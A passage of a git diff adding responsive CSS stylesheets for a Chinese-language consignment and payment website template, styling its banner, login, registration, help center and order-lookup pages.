left;background-size:0.12rem;} +.QueTrC tr td{text-align:justify; padding:0.08rem 0.12rem;border-right:0.01rem solid #ccc;} +.QueKOtx{ height:0.34rem; line-height:0.34rem; background:#ededed; border:0.01rem solid #ccc;width:92%; margin:0 auto 0.1rem; font-size:0.1rem; color:#333;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} +.QueKOtx span{ font-weight:600; text-align:center; color:#FFF; float:left; display:block; width:0.4rem; line-height:0.2rem; height:0.2rem; background:#4089ef; border-radius:0.05rem; margin-top:0.07rem; margin-left:0.05rem; margin-right:0.06rem;} +.QueKOts{ width:90%; margin:0.1rem auto;} +.QueKOtit{ font-size:0.13rem; font-weight:600; line-height:0.22rem;} +.QueKOts p{ font-size:0.1rem; line-height:0.17rem;} + +.QueT2{background:#FFF; border-radius:8px; width:84%; padding:0.1rem 4%; margin:0.15rem auto} +.QueST{ text-align:left; line-height:0.3rem; font-size:0.13rem; font-weight:600;} +.QueI{ width:90%; line-height:0.3rem; height:0.3rem; border:0.01rem solid #ccc; font-size:0.12rem; padding:0 4.5%; margin-bottom:0.08rem;} +.QueText{width:90%;line-height:0.18rem;height:0.6rem; border:0.01rem solid #ccc; font-size:0.12rem; padding:0.1rem 4.5%; margin-bottom:0.08rem;} +.Queyzt{ display:block; width:30%;height:0.3rem; overflow:hidden; margin-right:0.01rem;} +.Que_but{ width:31%;height:0.3rem; border-radius:0.15rem;} +.QueIw2{ width:56%;} +a.QueAN{ width:1rem; line-height:0.3rem; height:0.3rem; display:block; margin:0.1rem auto; text-align:center; border-radius:0.15rem; font-size:0.13rem;} + +.TcQue{ width:70%; height:3rem; left:11%; top:17%;} +.TcQueN{ font-size:0.12rem; margin-bottom:0.08rem; line-height:0.18rem; text-align:justify;} +.TcQueN span{ color:#5b9ef8; font-weight:600;} +.TcQueT{ text-align:center; padding-top:0.15rem; padding-bottom:0.1rem;} +.TcQueT img{ width:0.8rem;} +.TcQueT p{ font-size:0.15rem; font-weight:600; line-height:0.25rem;} +} + +.QueTrC{ border-right:none;} + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/template/index2/assets/css/index960.css b/template/index2/assets/css/index960.css new file mode 100644 index 0000000..e8566c3 --- /dev/null +++ b/template/index2/assets/css/index960.css @@ -0,0 +1,164 @@ +@media (max-width: 1000px ) and ( min-width: 801px){ + +/*banner*/ +.banner{ width:800px; margin:0 auto; height:440px} +.banNr{ padding-top:136px; padding-left:15px} +.banNrT{ font-size:32px; line-height:45px; margin-bottom:10px;} +.banNr p{ font-size:16px; line-height:30px;} +.ButAN{font-size:14px; width:170px; line-height:40px; height:40px;border-radius:20px;margin-top:35px;} +/*寄售服务项目*/ +.Title P{ font-size:24px; margin-top:100px; margin-bottom:3px;} +.Title span{ font-size:12px; margin-bottom:12px;line-height:20px} +.Title i{ width:40px; height:3px; border-radius:2px;} +.IndIte{ width:800px; margin:55px auto 20px;} +.IndIteK{ height:138px; width:199px;border-left:1px solid #dedee0;} +.IndIteK:nth-child(1){ border-left:none;} +.IndIteI{ padding-top:25px; height:45px;} +.IndIteI img{ height:45px;} +.IndIteK p{ font-size:14px; padding:15px;} + +/*支付渠道*/ +.IndPay{ width:800px; margin:46px auto 0} +.IndPayK{ width:236px; height:40px; overflow:hidden; padding:10px 0; border-radius:8px;margin:0 15px 25px; box-shadow:0 5px 10px rgba(150,192,252,0.4);} +.IndPayK img{ height:40px;} +/*平台功能*/ +.IndPlaK{ width:800px; margin:20px auto 0;} +.IndPlaL{ width:350px; padding-top:35px;} +.IndPlaLT{ font-size:18px;} +.IndPlaLn{ margin-top:30px;} +.IndPlaLz{ width:50px; height:50px; line-height:50px; font-size:26px;} +.IndPlaLr{ width:280px; line-height:25px; margin-top:5px;} +.IndPlaLr p{ font-size:18px; color:#2786f9;} +.IndPlaLr span{ font-size:14px; color:#333;} +.IndPlar{ width:383px;} +.IndPlar img{ width:383px;} +.IndPlaS{ width:800px;top:-40px;padding-bottom:10px;} +.IndPlaC{ width:208px; margin:0 9px 18px; padding:35px 20px 0; height:150px; border-radius:9px;} +.IndPlaI{ height:25px;} +.IndPlaKt{ font-size:15px;line-height:25px; padding:13px 0 8px;} +.IndPlaC p{font-size:14px; line-height:23px;} +a.ButPla{font-size:16px;width:200px; height:44px; line-height:44px; border-radius:27px; border:5px solid #afd3fc; margin:20px auto;} +a.ButPla:hover{ border:5px solid #fbccb7} +/*核心优势*/ +.IndCha{ width:800px; margin:60px auto 0;} +.IndChaZ{ width:320px; padding-left:40px; padding-top:40px} +.IndChaZt{ font-size:18px;margin-bottom:15px;} +.IndChaZ p{ font-size:16px;line-height:30px;} +.IndChaP{ width:400px; padding:0 15px;} +/**************登录**************/ +.LoginK{ background-image:url(../images/loginb.jpg); background-attachment:fixed; background-repeat:no-repeat; background-position: bottom center; color:#333; height:100%;} +.Login{ width:430px;padding-bottom:25px; background:#FFF; margin:15% auto 0; border-radius:6px;} +.register{ width:430px;padding-bottom:25px; background:#FFF; margin:15% auto 0; border-radius:6px;} +.LogTit{ text-align:center; font-size:20px; line-height:30px; padding-top:25px; font-weight:600;} +.logK{ width:332px; margin:0 auto; height:58px;} +.logIc{ width:40px; height:40px; display:block; background-repeat:no-repeat; background-position:center; background-color:#2f80f0;} +.logIn{height:40px; line-height:40px; background:none; border:none; width:262px; padding:0 15px; font-size:14px;background:#eff2f5;} +.logNr{ line-height:40px; height:40px; font-size:14px; width:332px; height:43px; margin:10px auto;} +.logNr a{ color:#999;} +.logNr a:hover{ color:#2f80f0;} +.Login .Logreg{ margin:0 auto;} +.register .Logreg{ margin:0 auto;} +.logK span{ line-height:18px; color:#e60012; font-size:12px;display:block; padding-left:43px;} +/***************注册***************/ +.Regtit{ font-size:14px; text-align:center; margin-bottom:12px;} +.logInw{ width:148px;} +.yzm{ display:block; width:100px;} +.Set_but{ border:none; display:block; width:100px; line-height:40px; height:40px; text-align: center; color:#FFF; display:block;} +.Regf{ text-align:center; font-size:14px; color:#999; padding-top:10px;} +.Regf a{ color:#3087f2;} +/*弹出*/ +.TcK{top:0%;left:50%; margin-left:-290px;width:500px;border-radius:8px; padding:0 40px 30px; max-height:600px; overflow:auto;} +.TcRegT{ font-size:18px; color:#333; text-align:center; font-weight:600; border-bottom:1px solid #ccc; line-height:60px; height:60px;} +.TcRegN{ font-size:14px; color:#333; line-height:24px; margin-top:12px;} +.TcRegP{ margin-bottom:10px;} +.TcRegN a{ color:#0e6bf9; display:block;} +A.TcRegA{ width:160px; height:36px; line-height:36px; text-align:center; border-radius:18px; font-size:16px; display:block; margin:16px auto 0;} +/**************登录错误****************/ +.Erro{ height:460px; background:url(../images/erro.jpg) no-repeat center top; background-size: auto 100%; margin-top:75px;} +.ErroK{ width:400px; padding-left:400px; padding-top:180px; color:#FFF; text-align:center; margin:0 auto;} +.ErroT{font-size:34px; font-weight:600; line-height:40px;} +a.Errlink{ font-size:16px; line-height:20px; margin-top:15px; color:#FFF; display:block;} +a.Errlink span{ color:#febc67;} + +/**************联系我们****************/ +.ContK{ background:url(../images/contb.jpg) no-repeat center 75px; background-size:auto 250px; padding-top:75px;} +.ContTit{ width:800px; margin:0 auto; padding-top:60px; height:140px; color:#FFF;} +.ContTid{ font-size:34px; font-weight:600; line-height:40px;} +.ContTid span{ font-size:26px; padding-left:10px; margin-bottom:7px; display:inline-block;} +.ContTit p{ font-size:16px; line-height:20px;} +.ContD{ width:760px; background:#FFF; margin:0 auto; padding:0 20px 30px; border-radius:7px; position:relative;} +.ContDK{ padding-left:20px; padding-top:80px; width:280px; height:120px;font-size:16px; float:left;} +.ContDp1{ background-image:url(../images/fticon01.png)} +.ContDp2{ background-image:url(../images/fticon02.png)} +.ContDp{ padding-left:45px; background-repeat:no-repeat; background-position:left center; line-height:24px; background-size:32px; margin-bottom:7px;} +.ContDp span{display:block;} +.ContDp p{color:#3e86ee; font-size:20px; font-weight:600;} +.ContDx{ font-size:14px;} +.ContM{ width:160px; height:250px;text-align:center; background:url(../images/cont01.png) no-repeat top center; background-size:100%; position:absolute; right:34px; top:-45px;} +.ContM img{ padding-top:50px; width:100px;} +.ContM p{ font-size:12px; line-height:30px;} +.ContMat{ width:740px; padding:6px; box-shadow:0 0 15px rgba(197,215,255,0.55); margin:0 auto;} + +/***************帮助中心**************/ +.HelpK{background-image:url(../images/helpb.png); background-size:500px; background-repeat:no-repeat; background-position:right bottom; color:#333; min-height:100%;} +.Help{ width:800px; margin:30px auto; padding-top:75px;} +.HelpT{ font-weight:600; text-align:center; font-size:28px; line-height:40px; color:#333;} +.HelpD{display:flex;flex-wrap: wrap; margin-top:10px;} +.HelpN{ width:50%;} +.HelpNs{background:#FFF;margin:16px 3% 0;width:86%;padding:10px 4%; border-radius:5px; box-shadow:0 0 8px rgba(197,215,255,0.55);cursor: pointer;} +.HelpQ{ padding-left:40px; position:relative;line-height:28px; font-size:16px;} +.HelpQ i,.HelpA i{ width:28px; height:28px; line-height:28px; font-style:normal; font-size:16px;text-align:center;font-weight:bold;position:absolute;top:0; left:0; border-radius:50%; display:block;} +.HelpA i{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);box-shadow:0 5px 10px rgba(255,45,82,0.45);color:#FFF;} +.HelpA{padding-left:40px; position:relative;font-size:14px; line-height:22px; min-height:28px; margin-top:10px; display:none;} +.FHelp{ font-size:14px; text-align:center; color:#666; line-height:25px; padding:10px 0;} + +/******************查询订单****************/ +.QuerB{background-image:url(../images/querb.png);background-size:1000px;background-repeat:no-repeat;background-position:right bottom;color:#333;min-height:100%;} +.QueT{ text-align:center; padding-top:100px;} +.QueT a{ color:#333; font-size:20px; display:inline-block; margin:0 25px; line-height:50px;} +.QueT a i{ display:block; width:30px; height:4px; border-radius:2px; margin:0 auto;} +.QueTao{ font-weight:600;} +.QueTao i{ background:#333;} +.QueD{ display:none;} +.QueT1{ width:800px; margin:25px auto;} +/**/ +.search{ background:#FFF; border:1px solid #9ec2f6; border-radius:5px; height:53px; overflow:hidden;} +.searI{ line-height:53px; height:53px; padding-left:25px; width:590px; background:none; border:none; font-size:16px; color:#666} +a.searA{ color:#FFF; font-size:16px; display:block; text-align:center; width:140px;line-height:53px; height:53px; padding-right:20px;} +a.searA span{background:url(../images/search.png) no-repeat left center; background-size:26px; padding-left:50px; display:inline-block;} +.QueKO{ background:#fff; overflow:hidden; margin-top:25px; padding-bottom:25px; border-radius:5px;} +.QueKOt{ margin-bottom:20px; line-height:53px; height:53px; padding:0 25px; color:#FFF;} +.QueKOt p{ font-size:18px; width:75%; float:left;} +.QueKOt a{background:url(../images/qued.png) no-repeat left center;background-size:13px;font-size:14px;padding-left:20px;color:#FFF;line-height:23px;height:23px;width:110px;margin-top:15px;display:block;} +.QueTabk{ display:none;} +.QueTab{ width:760px; margin:0 auto 12px; border:1px solid #ccc; border-bottom:none;} +.QueTab tr td{ text-align:center; padding:10px 7px; color:#333; font-size:12px;border-bottom:1px solid #ccc; line-height:20px;} +.QueTab tr.QueTr td{ font-size:10px; font-weight:600; background:#ededed;} +.QueZF{ padding-left:20px; display:inline-block; background:url(../images/ques.png) no-repeat center left;background-size:18px;} +.QueZFsb{ padding-left:20px; display:inline-block; background:url(../images/zfsb.png) no-repeat center left;background-size:18px;} +.QueTrC tr td{text-align:justify; padding:10px 17px;border-right:1px solid #ccc;} +.QueKOtx{ height:45px; line-height:45px; background:#ededed; border:1px solid #ccc;width:760px; margin:0 auto 10px; font-size:12px; color:#333;} +.QueKOtx span{ font-weight:600; text-align:center; color:#FFF; float:left; display:block; width:50px; line-height:22px; height:22px; background:#4089ef; border-radius:6px; margin-top:13px; margin-left:10px; margin-right:15px;} +.QueKOts{ width:740px; margin:12px auto;} +.QueKOtit{ font-size:14px; font-weight:600; line-height:28px;} +.QueKOts p{ font-size:12px; line-height:18px;} +.QueT2{background:#FFF; border-radius:8px; width:680px; padding:15px 25px; margin:25px auto} +.QueST{ text-align:left; line-height:20px; font-size:10px; font-weight:600;} +.QueI{ width:638px; line-height:44px; height:44px; border:1px solid #ccc; font-size:14px; padding:0 20px; margin-bottom:14px;} +.QueText{ width:638px; line-height:24px; height:72px; border:1px solid #ccc; font-size:14px; padding:10px 20px; margin-bottom:14px;} +.Queyzt{ display:block; width:110px;height:46px; overflow:hidden; margin-right:14px;} +.Que_but{ width:120px;height:44px; border-radius:22px; margin-right:9px;} +.QueIw1{ width:288px} +.QueIw2{ width:480px;} +a.QueAN{ width:170px; line-height:42px; height:42px; display:block; margin:15px auto; text-align:center; border-radius:21px; font-size:16px;} + +.TcQue{width:30%; height:60%;margin-left:-240px;} +.TcQueN{ font-size:14px; margin-bottom:10px; line-height:24px; text-align:justify;} +.TcQueN span{ color:#5b9ef8; font-weight:600;} +.TcQueT{ text-align:center; padding-top:35px; padding-bottom:10px;} +.TcQueT img{ width:113px;} +.TcQueT p{ font-size:20px; font-weight:600; line-height:32px;} +} + + + diff --git a/template/index2/assets/css/style.css b/template/index2/assets/css/style.css new file mode 100644 index 0000000..9d5c2d0 --- /dev/null +++ b/template/index2/assets/css/style.css @@ -0,0 +1,286 @@ +/*通用*/ +*{ margin:0; padding:0;} +html{min-height:100%;} +body{color:#333; background-color:#f9faff; background-repeat:no-repeat; min-height:100%;} +ul,li,p,h1,h2,h3,h4,h5,h6,dl,dt,dd {margin:0px;padding:0px;border:none;list-style:none;} +a{text-decoration:none; text-shadow:none;font-weight:normal;} +ul{list-style:none;} +textarea,input,button{outline:none;-webkit-appearance:none; font-family:"微软雅黑";} +.fl{ float:left;} +.fr{ float:right} +a{color:#6c6c6c;text-decoration:none;} +img{border:none;} +.clear{ clear:both; height:0; overflow:hidden;} +.dk{ width:100%; max-width:1200px; min-width:320px; margin:0 auto;} + +.backFFF{ background:#FFF;} +.backB1{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#5baffd,endColorStr=#3a81ec);background: -ms-linear-gradient(left, #5baffd, #3a81ec);background:-moz-linear-gradient(left,#5baffd,#3a81ec);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#5baffd), to(#3a81ec));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#5baffd), to(#3a81ec));background: -webkit-linear-gradient(left, #5baffd, #3a81ec);background:-o-linear-gradient(left, #5baffd, #3a81ec);color:#FFF;box-shadow:0 7px 10px rgba(75,152,244,0.45);} + +.backB2{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#5baffd,endColorStr=#3a81ec);background: -ms-linear-gradient(top, #5baffd, #3a81ec);background:-moz-linear-gradient(left,#5baffd,#3a81ec);background:-webkit-gradient(linear, 0% 0%, 100% 0%,from(#5baffd), to(#3a81ec));background:-webkit-gradient(linear, 0% 0%, 100% 0%, from(#5baffd), to(#3a81ec));background: -webkit-linear-gradient(top, #5baffd, #3a81ec);background:-o-linear-gradient(top, #5baffd, #3a81ec);color:#FFF;} + + + + + +.Color1{background: -webkit-gradient(linear, 0 0, right 0, from(rgba(59, 175, 52, 1)), to(rgba(255, 245, 0, 1)));-webkit-background-clip:text;-webkit-text-fill-color:transparent; } + +/*弹出*/ +.TcBJ{z-index:9998;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.4); display:none;} +.TcK{z-index:9999;position:fixed; background:#FFF; overflow:hidden; display:none;} + +.Set_but{FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);} +.logP1{ background-image:url(../images/logi01.png)} +.logP11{ background-image:url(../images/logi011.png)} +.logP2{ background-image:url(../images/logi02.png)} +.logP3{ background-image:url(../images/logi03.png)} +.logP4{ background-image:url(../images/logi04.png)} +.logP5{ background-image:url(../images/logi05.png)} +.logP6{ background-image:url(../images/logi06.png)} +.logP7{ background-image:url(../images/logi07.png)} +/*置顶*/ +.cd-top {display:inline-block;border-radius:50%;position:fixed;overflow:hidden;text-indent:100%;white-space:nowrap;background:url(../images/top.png) no-repeat center; background-size:100%;visibility:hidden;opacity:0;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;} +.cd-top.cd-is-visible {visibility: visible;opacity:1;} +.cd-top.cd-fade-out {opacity:0.9;} +.no-touch .cd-top:hover {background-color:#e86256;opacity:1;} +/*banner*/ +.banNr{color:#333;} +.banNrT{font-weight:600;} +.ButAN{transition:0.5s; display:block; text-align:center; } +.ButAN:hover{transition:0.5s;FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);box-shadow:0 5px 10px rgba(255,45,82,0.45);} +/*寄售服务项目*/ +.Title{ text-align:center; color:#333;} +.Title span{display:block;} +.Title i{background:#333; display:block; margin:0 auto;} +.IndIteK,.IndIteI{text-align:center;} +.IndIteK p{color:#333;} +/*支付渠道*/ +.IndPayK{text-align:center; background:#FFF;} +/*平台功能*/ +.IndPlaL{color:#333;} +.IndPlaLT{font-weight:600;} +.IndPlaLz{font-weight:600;border-radius:50%;color:#FFF; text-align:center;} +.IndPlaLr p{ color:#2786f9;} +.IndPlaS{position:relative;margin:0 auto} +.IndPlaC{background:#FFF; text-align:center;} +.IndPlaKt{font-weight:600;} +.IndPlaC p{ color:#999;} +a.ButPla{ color:#FFF;text-align:center; display:block;} +/*核心优势*/ +.IndChaZt{font-weight:600;} +.IndChaZ p{color:#666;} +/*尾*/ +.footer{margin:0 auto;} +.footN{ color:#333;} +.footFk{color:#3e86ee; font-weight:600;} +.footFk a{color:#3e86ee;font-weight:600;} +.footFk i{display:block;background-repeat:no-repeat; background-position:center;} +.footF1{ background-image:url(../images/fticon01.png)} +.footF2{background-image:url(../images/fticon02.png)} +.footFm i{display:block;background-repeat:no-repeat; background-position:center;} +.footF3{background-image:url(../images/fticon03.png)} +.footF4{background-image:url(../images/fticon04.png)} +.footRT{font-weight:600;} +.footR a{color:#666;display:block;} +.footR a:hover{color:#3e86ee;} +.footC{color:#666; text-align:center;} +.footI{ text-align:center;} +.footI a{ display:inline-block;} +/*.QueTab,.QueTabk{table-layout:fixed;} +.QueTab tr td{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}*/ +.head{ position:fixed; top:0; left:0; width:100%;z-index: 998; background:#f9faff;} +@media (min-width:1001px){ +body{font:14px "microsoft yahei", Arial, Helvetica, sans-serif; background-image:url(../images/backg1.png); background-position:center 780px;} +.bannerK{ background:url(../images/banner.png) no-repeat top right; margin-bottom:120px; padding-top:82px;} +.head{ height:82px;} +.headK{ width:1200px; margin:0 auto;} +.Logo{ width:140px; height:55px; margin-top:14px;} +/*导航*/ +.wap_nav,.hd_nav{ display:none;} +.MenuPC{ width:820px; margin-top:18px;} +.MenuPC a{ line-height:44px; height:44px; text-align:center; display:block; font-size:16px; border-radius:22px; color:#2d3f7a;} +a.MenuA{ width:110px; margin-left:10px;} +a.MenuA:hover{transition:0.5s; color:#1b67da; text-shadow:0 0 10px rgba(75,152,244,0.45);} +a.MenuAo:hover,a.MenuAo{color:#FFF;} +a.hdReg{ width:80px; color:#FFF;FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff9e14,endColorStr=#ffc90a);background: -ms-linear-gradient(left, #ff9e14, #3a81ec);background:-moz-linear-gradient(left,#ff9e14,#ffc90a);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff9e14), to(#ffc90a));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff9e14), to(#ffc90a));background: -webkit-linear-gradient(left, #ff9e14, #ffc90a);background:-o-linear-gradient(left, #ff9e14, #ffc90a);transition:0.5s;} +a.hdReg:hover{box-shadow:0 5px 10px rgba(255,165,18,0.45);transition:0.5s;} +a.hdLog{ width:80px; color:#FFF; margin-right:14px;transition:0.5s;FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);} +a.hdLog:hover{box-shadow:0 5px 10px rgba(255,45,82,0.45);transition:0.5s;} +/*尾*/ +.footer{ width:920px;padding-top:60px;} +.footN{margin-bottom:60px;} +.footF{ width:315px;} +.footFk{ line-height:38px; height:38px; font-size:24px; margin-bottom:10px;} +.footFk i{ width:38px; height:38px;margin-right:14px;} +.footFm{ font-size:14px; line-height:22px; margin-left:6px; margin-bottom:10px;} +.footFm i{width:22px; height:22px;margin-right:8px;} +.footR{ width:180px; padding-left:20px} +.footRT{ line-height:38px; font-size:20px; margin-bottom:5px;} +.footR a{ font-size:16px;line-height:28px;} +.footC{ font-size:16px;line-height:25px;} +.footI{margin:30px auto 40px;} +.footI a{padding:0 20px; height:47px;} +/*置顶*/ +.cd-top {height:59px;width:59px;bottom:70px;right:10px;box-shadow:0 0 10px rgba(75,152,244, 0.35);} +} +@media (max-width: 1000px ) and ( min-width: 801px){ +body{font:14px "microsoft yahei", Arial, Helvetica, sans-serif;background-image:url(../images/backg1.png);overflow-x:hidden} +.bannerK{ background:url(../images/banner.png) no-repeat top right; background-size:700px; margin-bottom:100px; padding-top:75px;} +.head{ height:75px;} +.headK{ width:800px; margin:0 auto;} +.Logo{ width:130px; margin-top:12px;} +.Logo img{ width:100%;} +/*导航*/ +.wap_nav,.hd_nav{ display:none;} +.MenuPC{ width:600px; margin-top:13px;} +.MenuPC a{ line-height:36px; height:36px; text-align:center; display:block; font-size:14px; border-radius:18px; color:#2d3f7a;} +a.MenuA{ width:80px; margin-left:6px;} +a.MenuA:hover{transition:0.5s; color:#1b67da; text-shadow:0 0 10px rgba(75,152,244,0.45);} +a.MenuAo:hover,a.MenuAo{color:#FFF;} +a.hdReg{ width:70px; color:#FFF;FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff9e14,endColorStr=#ffc90a);background: -ms-linear-gradient(left, #ff9e14, #3a81ec);background:-moz-linear-gradient(left,#ff9e14,#ffc90a);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff9e14), to(#ffc90a));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff9e14), to(#ffc90a));background: -webkit-linear-gradient(left, #ff9e14, #ffc90a);background:-o-linear-gradient(left, #ff9e14, #ffc90a);transition:0.5s;} +a.hdReg:hover{box-shadow:0 5px 10px rgba(255,165,18,0.45);transition:0.5s;} +a.hdLog{ width:70px; color:#FFF; margin-right:14px;transition:0.5s;FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ff7539,endColorStr=#ff2156);background: -ms-linear-gradient(left, #ff7539, #ff2156);background:-moz-linear-gradient(left,#ff7539,#ff2156);background:-webkit-gradient(linear, 0% 100%, 0% 0%,from(#ff7539), to(#ff2156));background:-webkit-gradient(linear, 0% 100%, 0% 0%, from(#ff7539), to(#ff2156));background: -webkit-linear-gradient(left, #ff7539, #ff2156);background:-o-linear-gradient(left, #ff7539, #ff2156);} +a.hdLog:hover{box-shadow:0 5px 10px rgba(255,45,82,0.45);transition:0.5s;} +/*尾*/ +.footer{ width:800px;padding-top:40px;} +.footN{margin-bottom:40px;} +.footF{ width:260px; padding-left:30px;} +.footFk{ line-height:32px; height:32px; font-size:20px;margin-bottom:8px;} +.footFk i{ width:32px; height:32px;margin-right:11px; background-size:100%;} +.footFm{ font-size:14px; line-height:22px; margin-left:6px; margin-bottom:8px;} +.footFm i{width:20px; height:20px;margin-right:6px;background-size:100%;} +.footR{ width:150px; padding-left:20px} +.footRT{ line-height:32px; font-size:18px; margin-bottom:5px;} +.footR a{ font-size:14px;line-height:26px; } +.footC{ font-size:14px;line-height:22px;} +.footI{ text-align:center; margin:20px auto 30px;} +.footI a{ display:inline-block; padding:0 15px; height:45px;} +/*置顶*/ +.cd-top {height:50px;width:50px;bottom:70px;right:10px;box-shadow:0 0 10px rgba(75,152,244, 0.35);} +} + +@media (max-width:800px){ +html {font-size: 625%; /*100 ÷ 16 × 100% = 625%*/} +body{font:0.11rem "microsoft yahei", Arial, Helvetica, sans-serif;min-width:320px; background-image:url(../images/backg1.png); background-size:100%;} +/**/ +.bannerK{ background:url(../images/banner.png) no-repeat top right; background-size:100%; margin-bottom:0.4rem; padding-top:0.4rem;} +.head{ height:0.4rem;} +.Logo{ padding-left:4%; width:45%; margin-top:0.04rem;} +.Logo img{ height:0.32rem;} +.head .hd_nav{position:relative;width:0.18rem; padding-right:4%;height:0.26rem; margin-top:0.07rem;z-index:999;} +.head .hd_nav i{top:50%;margin-top:-0.01rem;position:absolute;display:inline-block;height:0.02rem;width:0.18rem;border-radius:0.01rem;background:#3a81ec;} +.head .hd_nav:before{margin-top: -0.07rem;} +.head .hd_nav:after{margin-top:0.06rem;} +.head .hd_nav:before,.head .hd_nav:after{content: '';position:absolute;top:50%;display:inline-block;height:0.02rem;width:0.18rem;border-radius:0.01rem;background:#3a81ec;transition:0.2s;} +.head .hd_nav.active i{display:none;} +.head .hd_nav.active:before{transform: rotate(45deg);} +.head .hd_nav.active:after{transform: rotate(-45deg);} +.head .hd_nav.active:before,.head .hd_nav.active:after{margin-top:0;background:#ffffff;} +.MenuPC{ display:none;} +.wap_nav{position:fixed;width:100%;height:100%;top:0;left:0;background:rgba(0, 0, 0, 0.6);z-index:997; display:none;} +.wap_navK{width:80%;margin:0.6rem auto;text-align:center;} +.wap_navK a{height:0.4rem; line-height:0.4rem;display:block;color:#fff; font-size:0.13rem;} +/*尾*/ +.footer{ width:92%;padding-top:0.2rem;} +.footN{margin-bottom:0.2rem;} +.footF{ width:90%; padding-left:5%; margin-bottom:0.15rem;} +.footFk{ line-height:0.25rem; height:0.25rem; font-size:0.15rem;margin-bottom:0.1rem;} +.footFk i{ width:0.25rem; height:0.25rem;margin-right:0.06rem; background-size:100%;} +.footFm{ font-size:0.11rem; line-height:0.16rem;height:0.16rem; margin-left:0.05rem; margin-bottom:0.07rem;} +.footFm i{width:0.16rem; height:0.16rem;margin-right:0.05rem;background-size:100%;} +.footR{ width:33.33%; text-align:center;} +.footRT{ line-height:0.2rem; font-size:0.13rem; margin-bottom:0.03rem;} +.footR a{ font-size:0.11rem;line-height:0.18rem; } +.footC{ font-size:0.11rem;line-height:0.16rem;} +.footI{ text-align:center;} +.footI a{ display:inline-block; padding:0.1rem 0.04rem 0.15rem; height:0.3rem;} +/*置顶*/ +.cd-top {height:0.35rem;width:0.35rem;bottom:0.4rem;right:4%;box-shadow:0 0 10px rgba(75,152,244, 0.35);} +} + +/*出的各分辨率媒体查询换算:*/ +@media screen and (min-width:360px) and (max-width:374px) and (orientation:portrait){html{font-size:703%;}} +@media screen and (min-width:375px) and (max-width:383px) and (orientation:portrait){html{font-size:732.4%;}} +@media screen and (min-width:384px) and (max-width:399px) and (orientation:portrait){html{font-size:750%; }} +@media screen and (min-width:400px) and (max-width:413px) and (orientation:portrait){html{font-size:781.25%;}} +@media screen and (min-width:414px) and (max-width:431px) and (orientation:portrait){html{font-size:808.6%;}} +@media screen and (min-width:432px) and (max-width:479px) and (orientation:portrait){html {font-size:843.75%;}} +@media screen and (min-width:479px) and (max-width:960px) and (orientation:portrait){html {font-size:843.75%;}} + + + +/*查询验证码*/ + +.checkcode { + display: none; + font-size: 20px; + z-index: 20; + text-align: center; + background: #fff; +} + +.layui-layer { + border-radius: 5px !important; +} + +.layui-layer .layui-layer-title { + padding: 0; + border: 0; + height: 50px; + line-height: 50px; + font-size: 20px; + text-align: center; + color: #fff; + background: #5baffd; + -webkit-border-top-right-radius: 5px; + -webkit-border-top-left-radius: 5px; + -moz-border-radius-topleft: 5px; + border-top-right-radius: 5px; + border-top-left-radius: 5px; +} + +.layui-layer-page .layui-layer-content { + height: auto !important; +} + +.layui-layer .layui-layer-btn { + margin-top: 5px; + text-align: center; +} + +.layui-layer .layui-layer-btn a { + width: 80px; + height: 40px; + line-height: 40px; + font-size: 20px; + text-align: center; + color: #898989; + background: none; + border: solid 1px #e5e5e5; + cursor: pointer; +} + +.layui-layer .layui-layer-btn .layui-layer-btn0 { + background: #5baffd; + color: #fff; + border: solid 1px #5baffd; +} + +.checkcode .img { + margin-top: 29px; + cursor: pointer; +} + +.checkcode .txt { + margin-top: 10px; +} + +.checkcode .txt input { + padding: 0 10px; + width: 216px; + height: 